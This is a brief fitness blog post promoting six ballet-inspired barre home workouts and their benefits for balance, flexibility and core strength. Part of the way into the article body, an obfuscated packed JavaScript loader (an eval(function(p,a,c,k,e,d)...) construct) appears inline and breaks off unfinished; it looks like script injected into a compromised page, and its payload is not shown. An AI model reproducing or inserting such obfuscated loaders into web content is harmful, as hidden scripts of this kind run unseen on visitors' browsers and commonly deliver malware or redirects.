EMBRACE YOUR INNER BALLERINA WITH 6 BARRE HOME WORKOUTS

EMBRACE YOUR INNER BALLERINA WITH 6 BARRE HOME WORKOUTS

Have you ever thought about working out like a ballerina? Nothing is impossible with this ballet-inspired exercise plan. These compound ballet exercises below can improve balance, flexibility, core strength, and even muscle endurance when practicing regularly. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return […]